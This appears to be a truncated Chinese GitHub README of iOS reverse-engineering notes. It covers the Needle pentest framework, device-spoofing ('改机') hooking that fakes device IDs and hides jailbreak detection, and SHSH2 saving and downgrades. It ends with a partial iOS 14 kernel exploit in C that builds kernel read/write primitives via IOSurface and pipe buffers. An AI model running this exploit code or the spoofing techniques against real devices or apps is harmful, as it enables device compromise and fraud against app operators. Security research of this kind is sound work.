由于每个模块都专注于特定任务,并且核心处理常见问题(例如与设备的通信,命令的实际执行等),因此创建新模块只需几行python代码即可。

“ show modules”命令可用于列出框架中当前可用的所有模块。

[needle][install] > show modules

Binary

binary/info/checksums
binary/info/compilation_checks
binary/info/metadata
binary/info/provisioning_profile
binary/info/universal_links
binary/installation/install
binary/installation/pull_ipa
binary/reversing/class_dump
binary/reversing/class_dump_frida_enum-all-methods
binary/reversing/class_dump_frida_enum-classes
binary/reversing/class_dump_frida_find-class-enum-methods
binary/reversing/shared_libraries
binary/reversing/strings

Comms

comms/certs/delete_ca
comms/certs/export_ca
comms/certs/import_ca

... 否则,“ search ”命令可用于搜索与查询匹配的可用模块。

[needle] > search binary [*] Searching for "binary"...

Binary

binary/info/checksums
binary/info/compilation_checks
binary/info/metadata
binary/info/provisioning_profile
binary/info/universal_links
binary/installation/install
binary/installation/pull_ipa
binary/reversing/class_dump
binary/reversing/class_dump_frida_enum-all-methods
binary/reversing/class_dump_frida_enum-classes
binary/reversing/class_dump_frida_find-class-enum-methods
binary/reversing/shared_libraries
binary/reversing/strings

Storage

storage/data/files_binarycookies 

选择后,“ info”命令可用于显示特定模块的详细信息。

[needle] > use binary/reversing/strings [needle][strings] > info

Name: Strings Path: modules/binary/reversing/strings.py Author: @LanciniMarco (@MWRLabs)

Description: Find strings in the (decrypted) application binary, then try to extract URIs and ViewControllers

Options:
 Name     Current Value                    Required   Description
 -------  -------------                    --------   -----------
 ANALYZE  True                             no         Analyze recovered strings and try to recover URI
 FILTER                                    no         Filter the output (grep)
 LENGTH   10                               yes        Minimum length for a string to be considered
 OUTPUT   /root/.needle/tmp/strings.txt    no         Full path of the output file 
或者,仅获取可用选项:

[needle][strings] > show options
 Name     Current Value                    Required   Description
 -------  -------------                    --------   -----------
 ANALYZE  True                             no         Analyze recovered strings and try to recover URI
 FILTER                                    no         Filter the output (grep)
 LENGTH   10                               yes        Minimum length for a string to be considered
 OUTPUT   /root/.needle/tmp/strings.txt    no         Full path of the output file 
像全局选项一样,甚至模块特定的选项也可以使用“ set”和“ unset”命令进行编辑。

[needle][strings] > set FILTER password
FILTER => password
[needle][strings] > show options
 Name     Current Value                    Required   Description
 -------  -------------                    --------   -----------
 ANALYZE  True                             no         Analyze recovered strings and try to recover URI
 FILTER   password                         no         Filter the output (grep)
 LENGTH   10                               yes        Minimum length for a string to be considered
 OUTPUT   /root/.needle/tmp/strings.txt    no         Full path of the output file 
当所有选项均设置为首选时,“ run”命令可用于启动模块的执行。如果尚未选择目标应用程序(全局选项“ TARGET_APP”仍未设置),Needle将首先启动向导,该向导将帮助用户选择目标。

[needle][strings] > run
[*] Checking connection with device...
[+] Already connected to: 127.0.0.1
[V] Creating temp folder: /var/root/needle/
[*] Target app not selected. Launching wizard...
[V] Refreshing list of installed apps...
[+] Apps found:
    0 - com.highaltitudehacks.dvia
    1 - uk.co.bbc.newsuk
Please select a number: 0
[+] Target app: com.highaltitudehacks.dvia
[*] Decrypting the binary...
[?] The app might be already decrypted. Trying to retrieve the IPA...
[V] Decrypted IPA stored at: /var/root/needle/decrypted.ipa
[*] Unpacking the decrypted IPA...
[V] Analyzing binary...
[+] The following strings has been found: 
     %@: Unable to get password of credential %@
     %s -- Cannot be used in OpenSSL mode. An IV or password is required
     Both password and the key (%d) or HMACKey (%d) are set.
     CFHTTPMessageAddAuthentication(httpMsg, _responseMsg, (__bridge CFStringRef)_credential.user, (__bridge CFStringRef)password, kCFHTTPAuthenticationSchemeBasic, _httpStatus == 407)
     Cannot sign up without a password.
     Congrats! You've found the right username and password!
     Huh, couldn't get password of %@; trying again
     Please enter a password
     T@"NSString",&,N,V_password
     T@"NSString",C,N,V_password
     T@"UITextField",&,N,V_passwordTextField
     ...
[*] Saving output to file: /root/.needle/tmp/strings.txt
最后,“ show source”命令可用于检查所选模块的实际源代码。

[needle][strings] > show source

 1|from core.framework.module import BaseModule
 2|
 3|
 4|class Module(BaseModule):
 5|    meta = {
 6|           'name': 'Strings',
 7|           'author': '@LanciniMarco (@MWRLabs)',
 8|           'description': 'Find strings in the (decrypted) application binary, then try to extract URIs and ViewControllers',
 9|           'options': (
10|                      ('length', 10, True, 'Minimum length for a string to be considered'),
11|                      ('filter', '', False, 'Filter the output (grep)'),
12|                      ('output', True, False, 'Full path of the output file'),
13|                      ('analyze', True, False, 'Analyze recovered strings and try to recover URI'),
14|          ),
15|    }
16|
17|    # ====================================================================
18|    # UTILS
19|    # ====================================================================
20|    def __init__(self, params):
21|        BaseModule.__init__(self, params)
Signing for "xxx" requires a development team. 
Select a development team in the Signing & Capabilities editor. 
(in target 'xxxDylib' from project 'xxx')

使用monkeydev动态调试工具,xcode新建文件之后编译一直报错证书问题, 无论怎么修改证书为开发团队也不行。
解决方案:

target 选择xxxDylib buildsetting 添加CODE_SIGNING_ALLOWED,设置为=NO

iOS改机原理是什么?

在iOS上目前所有流行的改机工具,本质上是利用substrate框架对某些用来获取设备和系统参数函数进行hook,
从而欺骗App达到修改的目的,具体的如下:

用作获取设备参数的函数(无论是C函数,还是Objective-C/Swift函数,可以使用hook框架来修改其返回值)
屏蔽VPN/HTTP代理检测
屏蔽越狱检测

一键新机怎么实现的?

在进行一键新机时, 操作如下:

生成设备参数并保存到文件
/private/var/mobile/Library/Preferences/
com.app1e.mobile.ifalscommon.plist   保存伪造设备参数数据
com.app1e.mobile.ifalslocation.plist 保存伪造位置数据

将应用沙盒目录下的数据备份,同时为新环境创建沙盒目录结构
备份的数据存放在/private/var/mobile/fackedata下

应用启动后,fackedata.dylib会hook关键函数,并根据plist文件修改函数返回的数据
在这一步,fackedata还会根据情况清理keychain, 同时做简单的反越狱检测

FutureRestore GUI界面化降级教程

FutureRestore GUI提供了与经典命令行界面版本相同的功能, 但是可以通过界面化来单击按钮来启动该过程,而不是使用Terminal命令。 适用于小白新手很方便, 摆脱命令行, 快速操作shsh2来降级iOS固件

FutureRestore GUI应用程序仍然要求用户拥有他们计划降级或升级到的版本的.shsh2 blob和.ipsw固件文件。 对futurerestore的命令行界面版本的所有相同限制和限制仍然适用,因此我们鼓励越狱者为此目的保存对应的.shsh2 blob。

QQ群文件下载工具

额外处理A12 +设备保存shsh2教程

将以下存储库添加到您的设备:

https://halo-michael.github.io/repo 并安装名为Generator Auto Setter的软件包 。安装后,在“设置” 应用中进行调整,找到“生成器自动设置器”,输入您选择的生成器,然后选择“ 设置”。

请注意,设置什么发生器都没有关系。重要的是,在发现匹配的Apnonce之前, 您必须知道设置了哪个生成器。他们成对,更换发电机会改变Apnonce。我们需要知道是什么生成器创建了Apnonce,我们将在后续步骤中发现它们。

许多生成器设置器使用默认值。例如,默认情况下unc0ver和Generator Auto Setter 都使用0x1111111111111111。您的发电机设置器可能使用其他值。您可以将生成器设置保留为默认值(推荐),也可以更改它。不管它不 只要你知道你已经将它设置为,并记下来。

将越狱设备上的生成器成功设置为已知值(例如0x1111111111111111)并将设备插入计算机后,我们可以继续进行。

请记住:知道您的生成器值是什么,并在将来安全的地方(例如文本文档)记录下来!如果您不再知道用来创建Apnonce的生成器(用于保存Blob),则SHSH Blob将无效。

Mac打开 Terminal 运行 commands:

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

然后安装libirecovery

brew install --HEAD usbmuxd
brew install --HEAD libimobiledevice
brew install libirecovery

然后打开一个终端窗口。在Windows上,在运行以下命令之前,您还需要导航到下载的二进制文件的存储位置。

如果这些命令中的任何一个在Mac或Linux上失败,请尝试在命令前面加上sudo 来运行 它们。输入以下内容:

现在输入:

ideviceenterrecovery UDID

将UDID替换为您在上一步中记下的UniqueDeviceID(一长串数字和字母)。您的设备现在将重新启动进入恢复模式,并且您应该在屏幕上看到随附的图形。

现在输入:

irecovery -q

您应该看到设备的另一个值列表。您将需要复制ECID (这是设备的ECID,每次保存Blob时都需要)和NONC (这是我们已经听到很多次的至关重要的Apnonce,并且与生成器唯一配对)的值设置得更早)。

请在安全的地方记下这些值,例如在之前保存了生成器,HardwareModel和ProductType的文本文档中。以后每次保存shsh2时,都将需要它们。

最后,输入:

irecovery -n

这会将您的设备重新启动,使其退出恢复模式。请勿使用物理按钮重新启动设备,因为它将始终返回到恢复模式。请改用此命令。

硬件型号(之前称为 HardwareModel)
设备型号(之前称为 ProductType)
设备ECID(字母数字字符串,可能以0x开头...)
生成器(由您在开始时设置,例如0x1111111111111111)
Apnonce(长字母数字字符串,仅对您在上面设置的生成器有效)

现在,您可以使用TSS Saver为您的A12 +设备保存.shsh2 blob。以后无需重复以上操作即可保存该设备的Blob。为了保存Blob,您甚至不必对其进行越狱

因为这个FutureRestore GUI是基于Java来开发的
所以用户需要在MacOS上安装Java 8才能使用它
https://www.java.com/en/download/

shsh2是什么?

APTicket是从iOS5开始由苹果推出的最新安全检查功能,最主要功能是防止iPhone、iPad、iPod用户设备检验的降级限制,目前也仅有Apple Server才能拥有发送与解开  APTicket 密钥,那  APTicket 怎么获得呢?

在我们设备手上的设备都会有一组固定的16码ECID(Exclusive Chip ID)号码,当我们要透过iTunes进行升降级时,会先连至苹果验证服务器(gs.apple.com),丢出「讯息」内会夹带一次性唯一码、设备ECID与19个BLOB的验证码,而服务器接收到后,就会返回一组随机APTicket和当前iOS版本的SHSH验证码,当验证符合时,才能够进行接下来的升降级动作。

所以在iOS验证关闭后,就算你有备份SHSH其实也无法实现降级,因为还有  APTicket验证要解决。

在32位元设备中,有存有硬体设备漏洞,可直接绕过  APTicket 验证,直接实现靠SHSH就可以降级。也有一款降级工具「odysseusOTA」推出后,就能够让不少32位元设备,如iPhone5、5c、4s、iPad3、iPad2都能降回至旧  iOS版本上。

目前我们还可以备份  SHSH 吗?前提要再  SHSH 认证开启状态下才能够用tsschecker工具备份。

shsh2是什么?有什么作用?

之前iOS 要备份SHSH 可达成降级,相信还会有不少用户搞不清楚,怎么又跳出SHSH2 这东西,这与SHSH又有什么关系?

加上因iOS 验证的API有改变,造成nonce是无法从Apple验证服务器上取得,目前还保留在sign内,导致已经无法使用之前用小红伞工具来获取旧版SHSH文件,因为这方法其实是没有包含nonce值,同等于就没有任何作用。

因此ihmstar 推出了最新的保存脚本工具tsschecker ,可来获取设备的SHSH2档案,不过这脚本工具里面所保存的SHSH2档案不包括有Nonce仅只有Generator,这串数值可搭配Prometheus 降级工具使用,能够让iOS使用Generator 和SHSH2 档案产生最关键的「APNonce」,如此一来有了SHSH2档案后,后续就可以自由的进行升降级工作。

但目前由于还没突破降级限制,在拥有SHSH2 大部分条件情况下也仅能够实现升级与重刷,
除了A7处理器设备iPhone 5s / iPad Air 1 / iPad Mini 2 能实现降级外。
又加上苹果会不定时改变SEP 要来阻止用户可透过Prometheus 升、降级,才会导致过去曾经发生过iOS 11~iOS 11.2.6 与iOS 11.3 SEP 不同,
这算是首次出现的现象,以往过去都是在iOS 大版本更新才会改变SEP,但苹果也不断持续提升安全性与防御机制。

该怎么备份shsh2?=> 参考微信公众号Cydia文章

不管未来有没有打算要越狱,或许可先跑一次备份iOS 的shsh2 ,未来如果漏洞可开发出降级工具用来自由升降iOS版本时,保存好的shsh2 这就是你手中握有最佳降级的关键钥匙。如果都没备份,那永远都是没有这个机会。

发现到不少用户会误解备份shsh2一定要透过电脑或是升级上iOS版本才可以,这些都是错误的想法,iOS shsh2 备份是在任何可开启网页版本状态下就可以操作,
且不需要电脑也可以直接透过iOS 执行操作,前提是需要查好ECID和Internal Name/Model就可以,这部分可以直接存在iOS备忘录内,
每次iOS 新版本推出时,就可以直接复制贴上执行shsh2 备份。

futurerestore 工具
一个可执行文件

SEP 文件
解压下载的系统固件
在 Firmware/all_flash 目录下,有一堆以 “sep” 开头的文件,但是它有很多种,比如我这里有 j120、j121 等

基带固件
在解压缩的系统固件的 Firmware 文件夹里,通常还有一些 .bbfw 格式的文件,这些是基带文件。这就需要你查一下你手机对应的是哪个基带文件了,我这里是 WLAN 版 iPad,所以只有一个

BuildManifest.plist 文件
解压缩系统固件,在根目录就能看到这个文件
...

pre-jailbreak 漏洞


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <mach/mach.h>

#include "mycommon.h"
#include "k_offsets.h"
#include "utils.h"
#include "k_utils.h"
#include "kapi.h"
#include "user_kernel_alloc.h"
#include "cicuta_virosa/cicuta_virosa.h"

extern mach_port_t IOSurfaceRootUserClient;
uint32_t iosurface_create_fast(void);
uint32_t iosurface_s_get_ycbcrmatrix(void);
void iosurface_s_set_indexed_timestamp(uint64_t v);

static int *pipefds;
static size_t pipe_buffer_size = 0x1000;
static uint8_t *pipe_buffer;
static kptr_t IOSurfaceRoot_uc;

static void read_pipe()
{
    size_t read_size = pipe_buffer_size - 1;
    ssize_t count = read(pipefds[0], pipe_buffer, read_size);
    if (count == read_size) {
        return;
    } else if (count == -1) {
        perror("read_pipe");
        util_error("could not read pipe buffer");
    } else if (count == 0) {
        util_error("pipe is empty");
    } else {
        util_error("partial read %zu of %zu bytes", count, read_size);
    }
    fail_info(__FUNCTION__);
}

static void write_pipe()
{
    size_t write_size = pipe_buffer_size - 1;
    ssize_t count = write(pipefds[1], pipe_buffer, write_size);
    if (count == write_size) {
        return;
    } else if (count < 0) {
        util_error("could not write pipe buffer");
    } else if (count == 0) {
        util_error("pipe is full");
    } else {
        util_error("partial write %zu of %zu bytes", count, write_size);
    }
    fail_info(__FUNCTION__);
}

static void build_stable_kmem_api()
{
    static kptr_t pipe_base;
    kptr_t p_fd = kapi_read_kptr(g_exp.self_proc + OFFSET(proc, p_fd));
    kptr_t fd_ofiles = kapi_read_kptr(p_fd + OFFSET(filedesc, fd_ofiles));
    kptr_t rpipe_fp = kapi_read_kptr(fd_ofiles + sizeof(kptr_t) * pipefds[0]);
    kptr_t fp_glob = kapi_read_kptr(rpipe_fp + OFFSET(fileproc, fp_glob));
    kptr_t rpipe = kapi_read_kptr(fp_glob + OFFSET(fileglob, fg_data));
    pipe_base = kapi_read_kptr(rpipe + OFFSET(pipe, buffer));

    // XXX dirty hack, but I'm lucky :)
    uint8_t bytes[20];
    read_20(IOSurfaceRoot_uc + OFFSET(IOSurfaceRootUserClient, surfaceClients) - 4, bytes);
    *(kptr_t *)(bytes + 4) = pipe_base;
    write_20(IOSurfaceRoot_uc + OFFSET(IOSurfaceRootUserClient, surfaceClients) - 4, bytes);

    // iOS 14.x only
    struct fake_client {
        kptr_t pad_00; // can not use IOSurface 0 now
        kptr_t uc_obj;
        uint8_t pad_10[0x40]; // start of IOSurfaceClient obj
        kptr_t surf_obj;
        uint8_t pad_58[0x360 - 0x58];
        kptr_t shared_RW;
    };

    stage0_read32 = ^uint32_t (kptr_t addr) {
        struct fake_client *p = (void *)pipe_buffer;
        p->uc_obj = pipe_base + 16;
        p->surf_obj = addr - 0xb4;
        write_pipe();
        uint32_t v = iosurface_s_get_ycbcrmatrix();
        read_pipe();
        return v;
    };

    stage0_read64 = ^uint64_t (kptr_t addr) {
        uint64_t v = stage0_read32(addr);
        v |= (uint64_t)stage0_read32(addr + 4) << 32;
        return v;
    };

    stage0_read_kptr = ^kptr_t (kptr_t addr) {
        uint64_t v = stage0_read64(addr);
        if (v && (v >> 39) != 0x1ffffff) {
            if (g_exp.debug) {
                util_info("PAC %#llx -> %#llx", v, v | 0xffffff8000000000);
            }
            v |= 0xffffff8000000000; // untag, 25 bits
        }
        return (kptr_t)v;
    };

    stage0_read = ^void (kptr_t addr, void *data, size_t len) {
        uint8_t *_data = data;
        uint32_t v;
        size_t pos = 0;
        while (pos < len) {
            v = stage0_read32(addr + pos);
            memcpy(_data + pos, &v, len - pos >= 4 ? 4 : len - pos);
            pos += 4;
        }
    };

    stage0_write64 = ^void (kptr_t addr, uint64_t v) {
        struct fake_client *p = (void *)pipe_buffer;
        p->uc_obj = pipe_base + 0x10;
        p->surf_obj = pipe_base;
        p->shared_RW = addr;
        write_pipe();
        iosurface_s_set_indexed_timestamp(v);
        read_pipe();
    };

    stage0_write = ^void (kptr_t addr, void *data, size_t len) {
        uint8_t *_data = data;
        uint64_t v;
        size_t pos = 0;
        while (pos < len) {
            size_t bytes = 8;
            if (bytes > len - pos) {
                bytes = len - pos;
                v = stage0_read64(addr + pos);
            }
            memcpy(&v, _data + pos, bytes);
            stage0_write64(addr + pos, v);
            pos += 8;
        }
    };
}

static void build_stage0_kmem_api()
{
    stage0_read32 = ^uint32_t (kptr_t addr) {
        uint32_t v = read_32(addr);
        return v;
    };

    stage0_read64 = ^uint64_t (kptr_t addr) {
        uint64_t v = read_64(addr);
        return v;
    };

    stage0_read_kptr = ^kptr_t (kptr_t addr) {
        uint64_t v = stage0_read64(addr);
        if (v && (v >> 39) != 0x1ffffff) {
            if (g_exp.debug) {
                util_info("PAC %#llx -> %#llx", v, v | 0xffffff8000000000);
            }
            v |= 0xffffff8000000000; // untag, 25 bits
        }
        return (kptr_t)v;
    };

    stage0_read = ^void (kptr_t addr, void *data, size_t len) {
        uint8_t *_data = data;
        uint64_t v;
        size_t pos = 0;
        while (pos < len) {
            v = stage0_read64(addr + pos);
            memcpy(_data + pos, &v, len - pos >= 8 ? 8 : len - pos);
            pos += 8;
        }
    };

    stage0_wri

Truncated — view the full README on GitHub.

captainhook
class-dump
cydia
cydiasubstrate
deb
dpkg-deb
dyld
dylib
fishhook
ida
ios
iosopendev
iosre
logos
mach
mach-o
monkeydev
objective-c
theos
tweak

Significant stargazers

Nguyen Anh Quynh

1,494 followers · starred Sep 2019

Jeroen Beckers

154 followers · starred Jul 2024

Sven

163 followers · starred May 2020

xqin

105 followers · starred May 2019